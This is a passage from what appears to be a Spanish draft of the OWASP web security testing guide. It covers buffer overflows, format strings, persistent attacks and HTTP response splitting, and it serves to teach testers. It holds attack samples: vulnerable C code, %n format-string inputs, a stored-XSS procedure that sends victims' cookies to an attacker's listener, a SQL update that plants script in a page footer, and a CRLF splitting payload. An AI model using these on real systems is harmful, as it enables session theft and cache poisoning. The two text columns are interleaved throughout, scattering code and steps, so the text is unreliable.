Los formularios de datos y la URL deben desinfectarse de caracteres no válidos. Una "lista negra" de caracteres es una opción, pero puede ser difícil pensar en todos los caracteres contra los que hay que validar. También pueden haber algunos que no han sido descubiertos todavía. Para validar la entrada del usuario se debe crear una "lista blanca" que contenga sólo caracteres permitidos. Caracteres que faltaron, así como las amenazas desconocidas, deben ser eliminados de esta lista.

25/10/2006 03:11 I386

Permisos

14/11/2006 18:51 h4ck3r

30/09/2005 21:40 25,934

La aplicación web y sus componentes deben ejecutarse bajo permisos estrictos que no permitan la ejecución de comandos del sistema operativo. Trate de verificar todas estas informaciones para probar desde un punto de vista de Caja Gris.

OWASP1.JPG 03/11/2006 18:29 Prog

Pruebe la saturación de búfer (OTG-INPVAL-014) Resumen

18/11/2006 11:20 Program Files

Para conocer más acerca de las vulnerabilidades de saturación de búfer, consulte las páginas de saturación de búfer.

16/11/2006 21:12 Software

Vea el artículo OWASP sobre ataques de saturación de búfer.

24/10/2006 18:25 Setup

Vea el artículo OWASP sobre vulnerabilidades de saturación de búfer.

Cómo probar En este caso, hemos realizado con éxito un ataque de inyección de OS. Diferentes tipos de vulnerabilidades de saturación de búfer tienen diferentes métodos de prueba. Aquí están los métodos de prueba para los tipos comunes de vulnerabilidades de saturación de búfer. Herramientas • OWASP ZAP

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 227

Guia de pruebas 4.0 "Borrador"

• Pruebas de vulnerabilidad de saturación del heap. • Pruebas de vulnerabilidad de saturación de pilas de datos.

con la saturación de pilas de datos, ya que hay ciertas condiciones que deben existir en el código de estas vulnerabilidades para que sean explotables.

• Pruebas de vulnerabilidad de cadena de formato. Cómo probar Revisión de código

Pruebas de Caja Negra

Vea el artículo de la Guía de revisión de código OWASP sobre cómo revisar el código en busca de vulnerabilidades por saturación de heap o búfer.

Los principios de las pruebas de Caja Negra para saturación de heap son los mismos que se utilizan para la saturación de pilas de datos. La clave está en introducir cadenas de entrada que sean más largas de lo esperado. Aunque el proceso de prueba sigue siendo el mismo, los resultados que son visibles en el depurador son significativamente diferentes. Mientras que, en el caso de una saturación de pila de datos, una instrucción de puntero o sobreescritura SEH sería evidente; esto no sucede en una condición de saturación de heap.

Remediación Vea el artículo de la Guía de desarrollo OWASP sobre cómo evitar vulnerabilidades de saturación de búfer.

Pruebas de saturación de Heap

Al depurar un programa para Windows, una saturación de heap puede aparecer en varias formas diferentes; la más común es un cambio de puntero que tiene lugar después de que entra en acción la rutina de gestión del heap. A continuación se muestra un escenario que ilustra una vulnerabilidad de saturación de heap.

Resumen En esta prueba, el evaluador de penetración comprueba si se puede provocar una saturación del heap que explota un segmento de memoria.

Heap es un segmento de memoria que se utiliza para almacenar datos dinámicamente asignados y variables globales. Cada fragmento de la memoria en el heap consiste en etiquetas de límite que contienen información de gestión de memoria.

Cuando un búfer basado en heap se satura, se sobrescribe la información de control en estas etiquetas. Cuando la rutina de gestión del heap libera el búfer, una sobrescritura de la dirección de la memoria da lugar a una infracción de acceso. Cuando la saturación se ejecuta de manera controlada, la vulnerabilidad permitirá a un adversario sobrescribir en una ubicación de memoria deseada con un valor controlado por el usuario. En la práctica, un atacante podrá sobrescribir funciones de dirección y varias direcciones almacenadas en estructuras como GOT, .dtors o TEB con la dirección de una carga maliciosa útil.

Hay numerosas variantes de la vulnerabilidad de saturación de heap (corrupción del heap) que puede permitir cualquier cosa, desde sobrescribir punteros de función a la explotación de las estructuras de gestión de memoria para la ejecución de código arbitrario. Localizar la saturación de heap requiere una revisión más detallada en comparación

Los dos registros que se muestran, EAX y ECX, se pueden rellenar con direcciones del usuario que forman parte de los datos que se utilizan para saturar el búfer heap. Una de las direcciones puede apuntar a un puntero de función que debe ser sobreescrito, por ejemplo UEF (Unhandled Exception filter) (filtro de excepción no controlada), y el otro puede ser la dirección del código del usuario que necesita ejecutarse.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 228

Guia de pruebas 4.0 "Borrador"

Cuando se ejecutan las instrucciones de MOV que se muestran en el panel izquierdo, la sobrescritura ocurre y, cuando se contacta con la función, se ejecuta el código de usuario. Como se mencionó anteriormente, otros métodos para probar dichas vulnerabilidades incluyen la ingeniería inversa de las aplicaciones binarias, que es un proceso complejo y tedioso, donde se utilizan técnicas de difuminación (fuzzing).

int main(int argc, char *argv[]) { ……

vulnerable(argv[1]); Pruebas de Caja Gris return 0; Al revisar el código, uno debe darse cuenta que hay varias vías por donde las vulnerabilidades asociadas con los heaps pueden surgir. Un código aparentemente inofensivo a primera vista puede ser vulnerable bajo ciertas condiciones. Puesto que hay distintas variaciones de esta vulnerabilidad, cubriremos sólo los temas que son predominantes.

}

int vulnerable(char *buf) La mayoría de las veces, los bufers heap son considerados seguros por muchos desarrolladores que no dudan en realizar operaciones inseguras como strcpy () en ellos. El mito de que una saturación de pila de datos y la instrucción de sobrescribir el puntero son los únicos medios para ejecutar un código arbitrario resulta peligroso en caso del código que se muestra a continuación:

{

HANDLE hp = HeapCreate(0, 0, 0);

HLOCAL chunk = HeapAlloc(hp, 0, 260);

strcpy(chunk, buf); ‘’’

Vulnerability’’’

En este caso, si buf excede los 260 bytes, se sobreescriben los punteros a la etiqueta de límite adyacente, facilitando la sobrescritura de una ubicación de memoria arbitraria con cuatro bytes de datos una vez que comienza la rutina heap de almacenamiento dinámico.

Recientemente, varios productos, especialmente las bibliotecas de antivirus, han sido afectados por variantes que son combinaciones de una saturación de números enteros y copia de operaciones en un búfer de heap. Como ejemplo, considere un fragmento de código vulnerable, una parte del código responsable de procesar los tipos de archivo TNEF, de Clam Anti Virus 0.86.1, source file tnef.c and function tnef_message( ):

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 229

Guia de pruebas 4.0 "Borrador"

string = cli_malloc(length + 1); ‘’’

Vulnerability’’’

if(fread(string, 1, length, fp) != length) {‘’’

Vulnerability’’’

• David Litchfield: “Windows Heap Overflows”: www.blackhat.com

free(string);

return -1; } El malloc en la línea 1 asigna memoria basada en el valor de la longitud, el cual coincide con un entero de 32 bits. En este ejemplo particular, la longitud es controlable por el usuario y se puede fabricar un archivo TNEF malicioso para ajustar la longitud a '-1', que daría como resultado malloc (0). Por lo tanto, este malloc asignaría un búfer heap pequeño, que sería de 16 bytes en la mayoría de las plataformas de 32 bits (como se indica en malloc.h).

Y ahora, en la línea 2, una saturación de heap se produce en la llamada a fread (). El tercer argumento, en este caso la longitud, se espera que sea una variable de size_t. Pero si va a ser '-1', el argumento envuelve a 0xFFFFFFFF, copiando así 0xFFFFFFFF bytes en el búfer de 16 bytes.

Las herramientas de análisis de código estático también pueden ayudar en la localización de vulnerabilidades de heap tales como “double free” etc. Una variedad de herramientas como las RATS, Flawfinder y ITS4 están disponibles para el análisis de lenguajes de estilo C.

Probar la saturación de pila de datos Resumen La saturación de pila de datos se produce cuando se copian datos de tamaño variable en búferes de longitud ubicados en la pila de datos del programa sin ninguna comprobación de los límites.

Las vulnerabilidades de esta clase se consideran generalmente de alta severidad, ya que su explotación permitiría, sobre todo, la ejecución de código arbitrario o negación de servicio. Aunque rara vez se encuentra en plataformas interpretadas, el código escrito en C y lenguajes similares es, a menudo, montado con instancias de esta vulnerabilidad. De hecho, casi todas las plataformas son vulnerables a saturación de pila de datos con las siguientes excepciones notables:

• J2EE – siempre y cuando no se invoquen métodos nativos o comunicación con el sistema • .NET – siempre que el código inseguro o no administrado no sea invocado (tal como el usado en P/Invoke or COM Interop) • PHP – mientras que no se comuniquen con los programas externos y las extensiones PHP vulnerables escritas en C o C++ las cuales pueden sufrir de saturación de pila de datos.

Herramientas • OllyDbg: “Un depurador basado en windows utilizado para el análisis de vulnerabilidades de saturación de búfer”: ollydbg.de • Spike, un fuzzer framework que puede utilizarse para explorar las vulnerabilidades y realizar pruebas largas: immunitysec.com • Brute Force Binary Tester (BFB), un controlador binario proactivo: bfbtester.sourceforge.net • Metasploit, un framework de desarrollo, explotación y evaluación rápido: metasploit.com

Las vulnerabilidades de saturación de pila de datos a menudo permiten a un atacante tomar directamente el control del puntero de instrucción y, por lo tanto, alterar la ejecución del programa y ejecutar el código arbitrario. Además de sobrescribir el puntero de instrucción, resultados similares también se pueden obtener sobreescribiendo otras variables y estructuras, como los controladores de excepciones, que se encuentran en la pila de datos.

Cómo probar Pruebas de Caja Negra

Referencias Libros Blancos • w00w00: “Heap Overflow Tutorial”: cgsecurity.org

La clave para probar las vulnerabilidades de saturación de pila de datos de una aplicación es suministrando datos demasiado grandes en comparación con los esperados. Sin embargo, someter la aplicación a datos arbitrariamente grandes no es suficiente. Es necesario inspeccionar el flujo de ejecución de la aplicación y las respuestas para determinar si una saturación se ha disparado realmente o no. Por lo tanto, los pasos

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 230

Guia de pruebas 4.0 "Borrador"

necesarios para localizar y validar saturaciones de pila de datos sería asociar un depurador a la aplicación de destino o al proceso, generar ingresos con formato incorrecto en la aplicación, exponer la aplicación a los datos malformados y revisar las respuestas en un depurador. El depurador permite al evaluador ver el flujo de ejecución y el estado de los registros cuando la vulnerabilidad se activa.

Por otra parte, una forma más pasiva para probar puede ser empleada; esta consiste en inspeccionar el código de ensamble de la aplicación usando desensambladores. En este caso, se analizarán varias secciones en busca de firmas de fragmentos de ensamble vulnerables. Esto se denomina comúnmente ingeniería inversa y es un proceso tedioso.

Puesto que la aplicación está esperando argumentos de comandos de línea, una larga secuencia de 'A' puede suministrarse en el campo de argumentos como se muestra arriba.

Al abrir el ejecutable con los argumentos suministrados y continuar corriendo la aplicación se obtienen los siguientes resultados:

Un ejemplo simple: considere la siguiente técnica empleada durante la prueba de un "sample.exe" ejecutable para saturación de pila de datos:

#include int main(int argc, char *argv[]) { char buff[20]; printf(“copying into buffer”); strcpy(buff,argv[1]); return 0;

El archivo sample.exe se corre en un depurador, en nuestro caso OllyDbg.

Como se muestra en la ventana de registros del depurador, el EIP o Extended Instruction Pointer, que apunta a la siguiente instrucción a ejecutarse, contiene el valor '41414141'. '41' que es una representación hexadecimal para el carácter 'A' y, por lo tanto, la cadena 'AAAA' se traduce a 41414141.

Esto demuestra claramente cómo se puede utilizar el ingreso de datos para sobrescribir el puntero de instrucción con los valores suministrados por el usuario y el control de ejecución del programa. Una saturación de pila de datos también puede permitir la sobrescritura de estructuras basadas en pilas de datos como SEH (Structured Exception Handler, en español: controlador de excepciones estructurado) para controlar la ejecución de código y esquivar algunos mecanismos de protección de apilamiento.

Como se mencionó anteriormente, otros métodos para probar dichas vulnerabilidades incluyen utilizar ingeniería inversa en los binarios de la

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 231

Guia de pruebas 4.0 "Borrador"

aplicación, el cual es un proceso complejo y tedioso y utiliza técnicas de difuminación (fuzzing).

Pruebas de Caja Gris Al revisar el código en busca de una saturación de cúmulo de datos, es aconsejable buscar comunicaciones con funciones de bibliotecas inseguras como gets(), strcpy(), strcat() etc. que no validan la longitud de cadenas de fuente y copian ciegamente datos en búferes de tamaño fijo. Por ejemplo, considere la siguiente función:

El uso, relativamente más seguro, de strncpy()también puede llevar a una saturación de cúmulo de datos, ya que sólo restringe el número de bytes copiados en el búfer de destino. Si el argumento de tamaño que se utiliza para lograr esto se genera dinámicamente basado en los datos ingresados por el usuario o no se calcula exactamente dentro de la trayectoria, es posible la saturación de búferes de cúmulo de datos. Por ejemplo:

void func(char *source) { Char dest[40]; …

void log_create(int severity, char *inpt) { size=strlen(source)+1 char b[1024]; …. strncpy(dest,source,size) } if (severity == 1) { strcat(b,”Error occurred on”);

Donde la fuente son datos controlables por el usuario. Un buen ejemplo seria la vulnerabilidad de saturación de pila de datos samba trans2open. (http://www.securityfocus.com/archive/1/317615).

strcat(b,”:”); strcat(b,inpt);

Las vulnerabilidades también pueden aparecer en la URL y desde el código de análisis de dirección. En tales casos, una función como memccpy() es generalmente empleada, ya que copia los datos en un búfer de destino desde la fuente mientras no se encuentre un carácter especificado. Considere la función:

FILE *fd = fopen (“logfile.log”, “a”);

void func(char *path)

fprintf(fd, “%s”, b);

{

fclose(fd);

char servaddr[40]; …

memccpy(servaddr,path,’\’); De lo anterior, la línea strcat(b,inpt) dará lugar a una saturación de cúmulo de datos si inpt excede los 1024 bytes. Esto no sólo demuestra el uso inseguro de strcat, también muestra lo importante que es examinar la longitud de las secuencias a las que hace referencia un puntero de carácter que se pasa como argumento a una función, en este caso, la longitud de cadena referenciada por char *inpt. Por lo tanto, siempre es una buena idea rastrear la fuente de los argumentos de la función y determinar longitudes de cadena al revisar el código.

….

En este caso, la información contenida en la ruta de acceso podría ser mayor a 40 bytes antes de que '\' pueda encontrarse. Si esto ocurre , se provocará una saturación de pila de datos.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 232

Guia de pruebas 4.0 "Borrador"

Una vulnerabilidad similar se encuentra en el subsistema de Windows RPCSS (MS03-026). El código vulnerable copió los nombres de rutas de acceso UNC del servidor en un búfer de tamaño fijo, hasta que un '\' fue encontrado. La longitud del nombre del servidor, en este caso, era controlable por los usuarios.

Esta sección describe cómo probar ataques de cadena de formato que pueden utilizarse para bloquear un programa o ejecutar un código dañino. El problema surge por la utilización de datos ingresados por el usuario, que no han sido filtrados, como el parámetro de formato de cadena en ciertas funciones C que realizan el formateo, como printf().

Aparte de revisar manualmente el código de saturación de pila de datos, también pueden ser de gran ayuda las herramientas de análisis estático del código. Aunque tienden a generar muchos falsos positivos y apenas serían capaces de localizar una pequeña porción de defectos, sin duda ayudan a reducir la sobrecarga asociada con la búsquedas sencillas, como los bugs strcpy() y sprintf().

Varios lenguajes de estilo C disponen de un formato de salida por medio de funciones como printf (), fprintf () etc.. El formateo se rige a un parámetro de estas funciones como un especificador del tipo de formato, normalmente %s, %c etc.. La vulnerabilidad se presenta cuando se contactan funciones de formato que tienen una inadecuada validación de parámetros y datos controlados por el usuario.

Una variedad de herramientas como RATS, Flawfinder y ITS4 están disponibles para analizar lenguajes de estilo C. Un ejemplo simple sería printf(argv[1]). En este caso, el especificador de tipo no ha sido explícitamente declarado, lo que permite a un usuario pasar caracteres como %s, %n, %x a la aplicación, por medio de una línea de comandos de argumento argv [1].

Herramientas • OllyDbg: “Un depurador basado en windows, utilizado para el análisis de vulnerabilidades de saturación de búfer”: ollydbg.de • Spike, un fuzzer framework que puede utilizarse para explorar las vulnerabilidades y realizar pruebas largas: immunitysec.com • Brute Force Binary Tester proactivo:bfbtester.sourceforge.net

(BFB),

un

controlador

Esta situación tiende a ser precaria ya que un usuario que puede suministrar especificadores de formato, puede realizar las siguientes acciones maliciosas:

binario

• Metasploit, un framework de desarrollo, explotación y evaluación rápido: metasploit.com

Referencias Libros Blancos

Enumerar el proceso de la pila de datos: Esto permite a un adversario ver la organización del proceso vulnerable de apilamiento, mediante el suministro de cadenas de formato como, %x o %p, que puede conducir a la fuga de información sensible. También puede ser utilizado para extraer valores de "canario" cuando la aplicación está protegida con un mecanismo de seguridad para la pila de datos. Junto con una saturación de pila de datos, esta información puede utilizarse para saltarse el protector de apilamiento.

• Aleph One: “Smashing the Stack for Fun and Profit”: insecure.org • The Samba trans2open stack overflow vulnerability: securityfocus.com • Windows RPC DCOM vulnerability details: xfocus.org http://www.xfocus. org/documents/200307/2.html

Pruebas para la cadena de formato Resumen

Control del flujo de ejecución: Esta vulnerabilidad también puede facilitar la ejecución de código arbitrario, ya que permite escribir cuatro bytes de datos en una dirección suministrada por el adversario. El especificador %n es útil para sobrescribir varios punteros de función en la memoria con la dirección de la carga maliciosa. Cuando se contactan estos punteros de función sobrescritos, al ejecutarse pasan el código malicioso.

Negación de servicio: Si el adversario no está en condiciones de suministrar código malicioso para su ejecución, la aplicación vulnerable puede ser bloqueada suministrando una secuencia de %x seguido de %n.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 233

Guia de pruebas 4.0 "Borrador"

{ Cómo probar

printf(“The string entered is\n”);

Pruebas de Caja Negra

printf(“%s”,argv[1]);

La clave para probar las vulnerabilidades de cadena de formato es suministrar especificadores del tipo de formato al ingresar a la aplicación.

return 0; }

Por ejemplo, considere una aplicación que procesa la cadena URL http://xyzhost.com/html/en/index.htm o acepta ingresos desde formularios. Si existe una vulnerabilidad de cadena de formato en una de las rutinas que procesan esta información, suministra una dirección URL como http://xyzhost.com/html/en/index.htm%n%n%n o pasa %n en uno de los campos del formulario, podría bloquear la aplicación y crear un volcado de memoria en la carpeta de alojamiento.

Cuando se examina el desmontaje utilizando IDA Pro, la dirección de un especificador de tipo de formato es insertada en la pila y es claramente visible antes de contactar a printf.

Las vulnerabilidades de cadena de formato se manifiestan principalmente en servidores web, servidores de aplicaciones o aplicaciones web que utilizan código basado en C y C++ o scripts CGI escritos en C. En la mayoría de estos casos, un informe de errores o la función de registro como syslog () han sido contactados de una manera insegura.

Al probar los scripts CGI en busca de vulnerabilidades de cadena de formato, los parámetros de entrada pueden ser manipulados para incluir especificadores de tipo %x o %n. Por ejemplo una solicitud legítima como: http://hostname/cgi-bin/query.cgi?name=john&code=45765

Por otro lado, cuando se compila el mismo código sin "%s" como un argumento, la variación en el montaje es evidente. Como se ve abajo, no hay ninguna compensación (offset) que se inserte en la pila antes de contactar a printf.

puede ser alterada a http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&code=45765%x.%x

Si existe una vulnerabilidad de cadena de formato en el procesamiento rutinario de este solicitud, el evaluador podrá ver los datos de la pila que se imprimen en el navegador.

Si el código no está disponible, el proceso de revisar los fragmentos del ensamblaje (también conocido como ingeniería inversa binaria) rendiría información sustancial acerca de errores en la cadena de formato. Tome el ejemplo del código (1): int main(int argc, char **argv)

Pruebas de Caja Negra Mientras se ejecutan las revisiones de código, casi todas las vulnerabilidades de cadena de formato pueden detectarse con el uso de herramientas de análisis de código estático. Someter al código que se

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 234

Guia de pruebas 4.0 "Borrador"

muestra en (1) a ITS4, que es una herramienta de análisis de código estático, da el siguiente resultado: Referencias Libros Blancos • Format functions manual page: die.net • Tim Newsham: “A paper on format string attacks”: thenewsh.com • Team Teso: “Exploiting Format String Vulnerabilities”: julianor.tripod.com • Analysis of format string bugs: www.cis.syr.edu

Las funciones que son principalmente responsables de vulnerabilidades de cadena de formato son las que tratan los especificadores de formato como opcionales. Por lo tanto, al revisar manualmente el código, puede hacerse hincapié en funciones tales como: printf fprintf sprintf

Pruebas de las vulnerabilidades incubadas (OTG-INPVAL-015) Resumen También conocidos como ataques persistentes, la prueba de incubación es un método de prueba complejo que necesita más de una vulnerabilidad de validación de datos para que funcione. Las vulnerabilidades incubadas se utilizan típicamente para llevar a cabo ataques de "abrevadero" contra usuarios legítimos de aplicaciones web. Las vulnerabilidades incubadas tienen las siguientes características:

snprintf vfprintf vprintf vsprintf

• En primer lugar, el vector de ataque debe ser constante y debe almacenarse en la capa de persistencia. Esto ocurrirá únicamente si una validación de datos débil está presente o los datos llegaron al sistema a través de otro canal como una consola de administración o directamente a través de un proceso de datos restringidos.

vsnprintf

Puede haber varias funciones de formateo que son específicas en la plataforma de desarrollo. Esto también debe revisarse en busca de la ausencia de cadenas de formato, una vez que se ha entendido su argumento de uso.

Herramientas • ITS4: “Una herramienta de análisis estático del código para la identificación de vulnerabilidades de cadenas de formato con código fuente”: cigital.com • Un constructor de cadenas de explotación para errores de formato: seclists.org

• Segundo, una vez que el vector de ataque ha sido "contactado", este necesita ejecutarse de una manera satisfactoria. Por ejemplo, un ataque XSS incubado requiere una validación de salida de datos débil para que el script pueda ser entregado al cliente de una manera ejecutable.

La explotación de algunas vulnerabilidades, o incluso características funcionales de una aplicación web, permitirá a un atacante plantar una sección de datos que más tarde se recuperará mediante un usuario desprevenido u otro componente del sistema, explotando así alguna vulnerabilidad.

En una prueba de penetración, los ataques incubados pueden utilizarse para evaluar la importancia de ciertos errores, utilizando el tema de la seguridad

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 235

Guia de pruebas 4.0 "Borrador"

particular que encontró para construir un ataque basado en el lado del cliente; este se utiliza generalmente para atacar a un gran número de víctimas al mismo tiempo (es decir, a todos los usuarios que navegan por el sitio).

página resultante o descargue y ejecute el archivo desde el sitio de confianza.

Ejemplo de XSS en una cartelera Este tipo de ataque asíncrono cubre un gran espectro de vectores de ataque, entre ellos los siguientes:

• Los componentes de carga de archivos en una aplicación web permiten al atacante subir archivos corrompidos (imágenes jpg imágenes que explotan CVE2004-0200, imágenes png que explotan CVE-2004-0597, archivos ejecutables, páginas de sitios con componentes activos, etc.).

• Asuntos de cross-site scripting de publicaciones en foros públicos (vea Pruebas para Cross site scripting almacenados (OTG-INPVAL-002) para mayor detalle). Un atacante podría potencialmente almacenar secuencias de comandos malintencionados o el código en un repositorio en el servidor restringido de la aplicación web (por ejemplo, una base de datos) para que este código de script se ejecute mediante uno de los usuarios (los usuarios finales, administradores, etc.). El ataque incubado arquetípico es ejemplificado por una vulnerabilidad de cross site scripting en un foro de usuarios, cartelera o blog para inyectar código JavaScript en la página vulnerable y será eventualmente procesado y ejecutado en el navegador del usuario del sitio utilizando el nivel de confianza del sitio (vulnerable) original en el navegador del usuario.

[1] Introduzca el código JavaScript como el valor para el campo vulnerable, por ejemplo: <script>document.write(‘’)

[2] Dirija a los usuarios a navegar por la página vulnerable o espere a que los usuarios naveguen. Tenga un "oyente" en el servidor anfitrión del sitio del lado del atacante.para escuchar todas las conexiones entrantes. [3] Cuando los usuarios navegan por la página vulnerable, una solicitud que contiene su cookie (document.cookie se incluye como parte de la URL solicitada) será enviada al servidor anfitrión del sitio del atacante, como los siguientes: GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE; %20JSESSIONID=ADIFFERENTVALUE:1;%20ExpirePage=https://vulnerable.site/site/; TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1

• La inyección SQL/XPATH permite al atacante subir contenido a una base de datos, que será más tarde recuperado como parte de los contenidos activos en una página web. Por ejemplo, si el atacante puede publicar JavaScript arbitrario en una cartelera para que se ejecute por los usuarios, luego él podría tomar el control de su navegador (por ejemplo, XSS-proxy).

• Servidores mal configurados que permiten la instalación de paquetes de Java o componentes similares del sitio web (es decir Tomcat o consolas de alojamiento de web tales como Plesk, CPanel, Helm, etc.)

Cómo probar Pruebas de Caja Negra

[4] Use cookies obtenidas para personificar a los usuarios en el sitio vulnerable.

Ejemplo de inyección SQL Por lo general, este conjunto de ejemplos aprovecha ataques de XSS explotando una vulnerabilidad de inyección SQL. Lo primero que se comprueba es si el sitio de destino tiene una vulnerabilidad de inyección SQL. Esto se describe en la sección 4.2 para probar la inyección de SQL. Para cada vulnerabilidad de inyección SQL, hay un conjunto subyacente de restricciones que describe el tipo de consultas que el atacante o evaluador de edición puede hacer.

Ejemplo de carga de archivos Verifique el tipo de contenido que se permite subir a la aplicación web y la URL resultante para el archivo cargado. Cargue un archivo que explote un componente en la estación de trabajo de usuario local cuando se consulten o descarguen por parte del usuario. Envíe a su víctima un email u otro tipo de alerta para dirigirlo a navegar por la página. El resultado esperado es que se active la explotación cuando el usuario navegue por la

Entonces, el evaluador tiene que comparar los ataques XSS que ha ideado con los ingresos permitidos

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 236

Guia de pruebas 4.0 "Borrador"

[1] De manera similar al anterior ejemplo de XSS, utilice un campo de página web vulnerable a problemas de inyección SQL para cambiar un valor en la base de datos que se utilizaría por la aplicación como ingresos que se muestran en el sitio sin la filtración adecuada (esto sería una combinación de una inyección de SQL y un problema XSS).

Como también debería ser obvio, la habilidad de cambiar el contenido de la página web en el servidor a través de cualquier vulnerabilidad que puede ser explotable en el host dará al atacante permisos de escritura en el webroot, y también será útil cuando se quiera plantar un ataque incubado semejante en las páginas del servidor web (en realidad, se trata de un método de propagación de la infección conocido para algunos gusanos de servidores web).

Por ejemplo, supongamos que hay un pie de página en la base de datos con todos los pies de página para las páginas del sitio web, incluyendo un campo de nota con el aviso legal que aparece en la parte inferior de cada página web. Puede utilizar la siguiente consulta para inyectar código JavaScript en el campo de avisos en el pie de página en la base de datos.

Pruebas de Caja Gris Las técnicas de pruebas gris/blancas serán las mismas que se discutieron previamente.

SELECT field1, field2, field3 FROM table_x WHERE field2 = ‘x’;

• Examinar la validación de datos ingresados es clave para mitigar esta vulnerabilidad. Si otros sistemas en la empresa utilizan la misma capa de persistencia, tienen una validación débil de ingresos y los datos pueden persistir a través de una “puerta trasera”.

UPDATE footer SET notice = ‘Copyright 1999-2030%20 <script>document.write(\’\’)’

• Para combatir el problema de la "puerta trasera" en ataques del lado del cliente, la validación de salida debe ser empleada para que los datos contaminados sean codificados antes de mostrarlos al cliente y, por lo tanto, no se ejecuten.

WHERE notice = ‘Copyright 1999-2030’; • Vea la sección de Validación de Datos de la guia de revisión de código. [2] Ahora, cada usuario que navegue por el sitio enviará silenciosamente sus cookies al sitio del atacante (pasos b.2 al b.4).

Herramientas • XSS-proxy: sourceforge.net

Servidor mal configurado Algunos servidores web presentan una interfaz de administración que puede permitir a un atacante cargar componentes activos de su elección en el sitio. Esto podría ser el caso con un servidor Apache Tomcat que no obliga a utilizar credenciales fuertes para acceder a su gestor de aplicaciones web (o si los evaluadores de edición han sido capaces de obtener credenciales válidas para el módulo de administración por otros medios).

En este caso, puede cargarse un archivo WAR y una nueva aplicación web desplegarse en el sitio, que no sólo permita al evaluador de edición ejecutar localmente el código a su elección en el servidor, sino también para plantar una aplicación en el sitio de confianza, al que los usuarios regulares del sitio puedan acceder (probablemente con un mayor grado de confianza que al acceder a un sitio diferente).

• Paros: parosproxy.org • Burp Suite: portswigger.net • Metasploit: metasploit.com

Referencias La mayoría de las referencias de la sección de Cross-site scripting son válidas. Como se explicó anteriormente, los ataques incubados se ejecutan al combinar explotaciones como XSS o ataques de inyección SQL.

Advertencias • CERT(R) Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests: cert.org

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 237

Guia de pruebas 4.0 "Borrador"

• Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site

más sencillo es proporcionado por las redirecciones en las que la dirección URL de destino depende de algún valor enviado por el usuario.

scripting vulnerability: archives.neohapsis.com

Libros Blancos • Web Application Security Consortium “Threat Classification,

Digamos, por ejemplo, que al usuario se le pide que elija si él o ella prefiere una interfaz web estándar o avanzada. La elección se pasa como un parámetro que se utilizará en el encabezado de respuesta para activar la redirección a la página correspondiente.

Cross-site scripting”: webappsec.org Más específicamente, si el parámetro 'interface' tiene el valor 'avanzado', la aplicación responderá de la siguiente manera: Pruebas para verificar la separación/contrabando de HTTP (OTGINPVAL-016)

HTTP/1.1 302 Moved Temporarily

Resumen

Date: Sun, 03 Dec 2005 16:22:19 GMT

Esta sección ilustra ejemplos de ataques que aprovechan características específicas del protocolo HTTP, ya sea mediante la explotación de las debilidades de la aplicación web o peculiaridades, en la manera en que los diferentes agentes interpretan los mensajes HTTP.

Esta sección analizará dos diferentes ataques dirigidos a encabezados HTTP específicos:

Location: http://victim.com/main.jsp?interface=advanced Al recibir este mensaje, el navegador llevará al usuario a la página indicada en el encabezado de ubicación. Sin embargo, si la aplicación no filtra la entrada de usuario, será posible introducir en el parámetro de la 'interfaz' la secuencia %0d%0a, que representa la secuencia CRLF que se utiliza para separar líneas.

• Separación HTTP (HTTP splitting) • Contrabando HTTP (HTTP smuggling) El primer ataque explota la falta de desinfección de datos ingresados que permite a un intruso insertar caracteres CR y LF en los encabezados de la respuesta de la aplicación y 'separar' la respuesta en dos mensajes HTTP diferentes. El objetivo del ataque puede variar desde un envenenamiento del caché hasta un cross site scripting.

En el segundo ataque, el atacante explota el hecho de que algunos mensajes HTTP especialmente diseñados pueden ser analizados e interpretados de diferentes maneras según el agente que las reciba. El contrabando de HTTP requiere cierto nivel de conocimiento sobre los diferentes agentes que están manejando los mensajes HTTP (servidor web, proxy, firewall) y, por lo tanto, se incluirán solamente en la sección de prueba de Caja Gris.

En este punto, los evaluadores serán capaces de desencadenar una respuesta que se interpreta como dos diferentes respuestas para cualquiera que analiza, por ejemplo un caché web ubicado entre nosotros y la aplicación. Un atacante puede aprovechar esto para envenenar este caché web que proporcionará contenido falso en todas las solicitudes subsiguientes.

Digamos que en el ejemplo anterior el evaluador pasa los siguientes datos como el parámetro de la interfaz: advanced%0d%0aContentLength:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContentLength:%2035%0d%0a%0d%0aSorry,%20System%20Down

Cómo probar Pruebas de Caja Negra

La respuesta resultante de la aplicación vulnerable será, en consecuencia, la siguiente:

Separación HTTP HTTP/1.1 302 Moved Temporarily Algunas aplicaciones web usan parte de los datos ingresados por el usuario para generar los valores de algunos encabezados de sus respuestas. El ejemplo

Date: Sun, 03 Dec 2005 16:22:19 GMT

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 238

Guia de pruebas 4.0 "Borrador"

Location: http://victim.com/main.jsp?interface=advanced Content-Length: 0

HTTP/1.1 200 OK Content-Type: text/html

[1] El evaluador de edición debe establecer correctamente los encabezados en la respuesta falsa para que pueda ser correctamente procesada en caché (por ejemplo, un encabezado Last-Modified con una fecha establecida en el futuro). Él o ella también podrían tener que destruir previamente las versiones de los localizadores de destino almacenados en memoria caché, mediante la emisión de una solicitud preliminar con "Pragma: no-cache" en los encabezados de solicitud.

Content-Length: 35

Sorry,%20System%20Down

[2] La aplicación, aunque no filtre la secuencia CR+LF, podría filtrar otros caracteres que son necesarios para un ataque exitoso (por ejemplo, "<" y ">"). En este caso, el evaluador puede intentar utilizar otras codificaciones (por ejemplo, UTF-7).



